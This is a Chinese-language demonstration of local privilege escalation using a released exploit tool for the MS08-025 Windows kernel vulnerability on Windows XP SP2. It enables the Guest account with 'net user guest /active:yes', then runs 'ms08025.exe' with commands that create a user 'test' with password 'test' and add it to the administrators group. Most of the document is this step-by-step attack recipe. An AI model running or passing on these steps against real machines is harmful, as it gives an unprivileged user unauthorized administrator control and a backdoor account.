MS08-025漏洞本地提权演示
MS08-025是微软在4月份发布的一个安全漏洞,漏洞标识为“重要”。据微软官方的解释,该安全漏洞源自Windows内核,成功利用此漏洞的本地攻击者可以完全控制受影响的系统。 进而,可随后安装程序;查看、更改或删除数据;或者创建新帐户等。
1、存在漏洞的Windows版本
由于该漏洞是基于内核级的,因此受影响的Windows系统版本很多,就连Vista、Windows Server 2008也不能幸免,见图1。
2、本地提权演示
近期,黑客发布了该漏洞的利用程序,下面笔者就利用该工具进行本地提权演示。
演示环境:
系统:Windows XP Service Pack 2
工具:ms08025.exe
说明:由于是本地提权,笔者就以Guest用户来演示。
(1).开启Guest
在默认情况下Guest用户是禁用的,在命令提示符(cmd.exe)下输入如下命令即可开启:
net user guest /active:yes (图2)
(2).Guest登录系统
注销当前用户,并用guest用户登录系统。由于是Guest用户权限受到限制,我们建立个用户看看,在命令行下输入如下命令:
net user test test /add
显示“拒绝访问”,可见没有权限。
(3).提权操作
打开命令提示行工具,进入ms08025.exe工具目录,依次输入如下命令:
ms08025.exe whoami
ms08025.exe "net user test test /add"
ms08025.exe "net localgroup administrators test /add"
命令成功完成,建立了一个用户名为test,密码为test的管理员。 (图3)